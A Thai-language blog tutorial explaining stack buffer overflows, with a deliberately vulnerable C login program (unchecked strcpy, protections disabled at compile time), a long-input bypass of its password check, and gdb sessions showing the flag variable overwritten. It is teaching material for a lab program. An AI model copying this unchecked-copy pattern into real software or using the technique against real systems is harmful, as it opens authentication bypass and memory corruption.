Friday, May 11, 2012

0x202 ช่องโหว่บัฟเฟอร์โอเวอร์โฟลว์บนหน่วยความจำในสแต็ก

สแต็ก เป็นหนึ่งในห้าเซกเมนต์หน่วยความจำที่ถูกใช้โดยโปรแกรมต่างๆ สแต็กนั้นมีโครางสร้างแบบ FILO  เพื่อเก็บรักษาโฟลว์ขั้นตอนของการเอ็กซีคิวต์ และคอนเท็กซ์ของตัวแปรแบบโลคอลในระหว่างการเรียกให้ฟังก์ชั่นอื่น และจะได้สามารถรีเทิร์นการทำงานกลับ ณ จุดเดิมก่อนการเรียกใช้ฟังก์ชั่นใหม่นั้นได้

เมื่อฟังก์ชั่นถูกเรียกใช้  โครงสร้างที่ชื่อ สแต็กเฟรม ( Stack Frame ) ได้ถูก push ลงไปบนสแต็ก และรีจิสเตอร์ EIP จะกระโดดไปยังคำสั่งแรกของฟังก์ชั่น แต่ละสแต็กเฟรมจะเก็บตัวแปรแบบโลคอลของฟังก์ชั่นนั้น และรีเทิร์นแอดเดรสเพื่อที่ว่าค่าของ EIP จะได้สามารถถูกเรียกคืนได้ โดยโครงสร้างและกลไกต่างๆ ที่กล่าวมานี้ได้รับการจัดการโดยคอมไพเลอร์ ไม่ใช่โปรแกรมเมอร์

auth_overflow.c
/*
 * Compile 
 * gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -g -o auth_overflow auth_overflow.c
 *   
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
 int auth_flag = 0;
 char password_buffer[16];

 strcpy(password_buffer, password);
 
 if(strcmp(password_buffer, "nopX90") == 0)
  auth_flag = 1;
 if(strcmp(password_buffer, "naruedol") == 0)
  auth_flag = 1;

 return auth_flag;
}

int main(int argc, char *argv[]) {
 if(argc < 2) {
  printf("Usage: %s \n", argv[0]);
  exit(0);
 }
 if(check_authentication(argv[1])) {
  printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  printf("      Access Granted.\n");
  printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
 } else {
  printf("\nAccess Denied.\n");
   }
}


โปรแกรมตัวอย่างนี้จะรับเฉพาะรหัสผ่านมาเป็นอาร์กิวเมนต์ของบรรทัดคำสั่ง และจากนั้นจะไปเรียกใช้ฟังก์ชั่น check_authentication() ฟังก์ชั่นนี้อนุญาติให้มีสองรหัสผ่าน เพื่อตรวจสอบการใช้งานของผู้ใช้ ถ้าหนึ่งในรหัสผ่านเหล่านี้ถูกรีเทิร์นกลับมาเป็น 1 ซึ่งก็หมายความว่าอนุญาตให้เข้าใช้งานระบบได้
root@bt:~/Hacking# ./auth_overflow 
Usage: ./auth_overflow 
root@bt:~/Hacking# ./auth_overflow test

Access Denied.
root@bt:~/Hacking# ./auth_overflow nopX90

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
root@bt:~/Hacking# ./auth_overflow naruedol

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

ทุกอย่างทำงานได้ตามปกติ ตามที่ซอร์สโค้ดเขียนไว้ นี่เป็นสิ่งที่เราคาดหวังได้จากคอมพิวเตอร์ แต่การเกิดโฟลว์ขึ้นจะนำเราไปสู่เหตุการณ์ที่เราไม่คาดคิด และบางอย่างที่ขุดแย้งกัน ซึ่งจะนำไปสู่การเข้าถึงระบบได้โดยไม่ต้องระบุรหัสผ่าน
root@bt:~/Hacking# ./auth_overflow AAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

เกิดอะไรขึ้นกับโปรแกรม auth_overflow.c เราลองมาดูการทำงานภายในของระบบดู
root@bt:~/Hacking# gdb -q ./auth_overflow
Reading symbols from /root/Hacking/auth_overflow...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 
5 int check_authentication(char *password) {
6  int auth_flag = 0;
7  char password_buffer[16];
8 
9  strcpy(password_buffer, password);
10  
(gdb) 
11  if(strcmp(password_buffer, "nopX90") == 0)
12   auth_flag = 1;
13  if(strcmp(password_buffer, "naruedol") == 0)
14   auth_flag = 1;
15 
16  return auth_flag;
17 }
18 
19 int main(int argc, char *argv[]) {
20  if(argc < 2) {
(gdb) b 9    #break line 9 เพื่อจะได้เช็คค่าก่อนจะโอเวอร์โฟลว์
Breakpoint 1 at 0x80484a1: file auth_overflow.c, line 9.
(gdb) b 16
Breakpoint 2 at 0x80484ef: file auth_overflow.c, line 16.
(gdb) r AAAAAAAAAAAAAAAAAAAA
Starting program: /root/Hacking/auth_overflow AAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password=0xbffff736 'A' ) at auth_overflow.c:9
9  strcpy(password_buffer, password);
(gdb) x/s password_buffer 
0xbffff4f4:  "\364\237\374\267\200\205\004\b\030\365\377\277\245\064", 
(gdb) x/x &auth_flag 
0xbffff504: 0x00000000
(gdb) print 0xbffff504 - 0xbffff4f4    #หาระยะหว่างระหว่าง password_buffer กับ auth_flag
$1 = 16
(gdb) x/16xw password_buffer 
0xbffff4f4: 0xb7fc9ff4 0x08048580 0xbffff518 0xb7ea34a5
0xbffff504: 0x00000000 0xbffff518 0x08048532 0xbffff736
0xbffff514: 0x00000000 0xbffff598 0xb7e8abd6 0x00000002
0xbffff524: 0xbffff5c4 0xbffff5d0 0xb7fe1858 0xbffff580
(gdb) 


เบรกพอยต์แรกอยู่ก่อนหน้านี้ฟังก์ชั่น strcpy() จะทำงาน ด้วยการสำรวจพอยน์เตอร์ password_buffer เราจะพบว่าดีบั๊กเกอร์จะแสดงว่ามันถูกบรรจุด้วยข้อมูลแบบสุ่มที่ไม่ได้ผ่านการเซตค่าเริ่มต้น และถูกเก็บไว้ที่แอดเดรส 0xbffff4f4 ในหน่วยความจำ ด้วยการสำรวจแอดเดรสของตัวแปร auth_flag เราสามารถดูได้ทั้งตำแหน่งของมันที่ 0xbffff504 และค่าที่เท่ากับศูนย์ คำสั่ง print ทำให้เรารู้ว่า auth_flag อยู่ห่างจากจุดเริ่มต้นของ password_buffer ไป 16 ไบต์
(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0xbffff735 'A' <repeats 20="" times=""> ) at auth_overflow.c:16
16  return auth_flag;
(gdb) x/s password_buffer 
0xbffff4f4:  'A' <repeats 20="" times="">
(gdb) x/x &auth_flag 
0xbffff504: 0x41414141
(gdb) x/16xw password_buffer 
0xbffff4f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff504: 0x41414141 0xbffff500 0x08048532 0xbffff735
0xbffff514: 0x00000000 0xbffff598 0xb7e8abd6 0x00000002
0xbffff524: 0xbffff5c4 0xbffff5d0 0xb7fe1858 0xbffff580
(gdb) x/4cb &auth_flag 
0xbffff504: 65 'A' 65 'A' 65 'A' 65 'A'
(gdb) x/dw &auth_flag 
0xbffff504: 1094795585


เบรกพอยต์ถัดไปที่พบหลังจากฟังก์ชัน strcpy() ตำแหน่งของหน่วยความจำเหล่านี้สามารถถูกสำรวจได้อีกครั้ง ข้อมูลใน password_buffer ได้โอเวอร์โฟลว์เข้าไปใน auth_flag และแก้ไขค่าสี่ไบต์เริ่มต้นให้เท่ากับ 0x41 ค่า 0x41414141 จริงๆมันอยู่ในฐานะที่เป็นเลขจำนวนเต็ม โดยมีค่าเท่ากับ 1094795585 (ดูเยอะไปไหนอาจทำให้โปรแกรมแครชลงได้ แต่ถ้าลอง A 18 ตัวอาจจะดูดีกว่านี้ )
(gdb) c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) 

หลังจากการเกิดโอเวอร์โฟลว์ พังก์ชั่น check_authentication() จะรีเทิร์นค่า 1094795585 แทนที่จะรีเทิร์น 0 เนื่องจากคำสั่ง if จะมองว่าค่าใดๆ ที่รีเทิร์นมา หากไม่ใช่ 0 ก็ถือว่าเป็นการผ่านการตรวจสอบแล้วการฟังก์ชั่น check_authentication()

ในตัวอย่างนี้ ตัวแปร auth_flag ถือได้ว่าเป็นจุดควบคุมการเอ็กซีคิวต์ เนื่องจากการเขียนทับค่าตัวแปรนี้ได้ถือว่าเป็นจุดเปลี่ยนในการตัดสินใจของโปรแกรม

No comments:

Post a Comment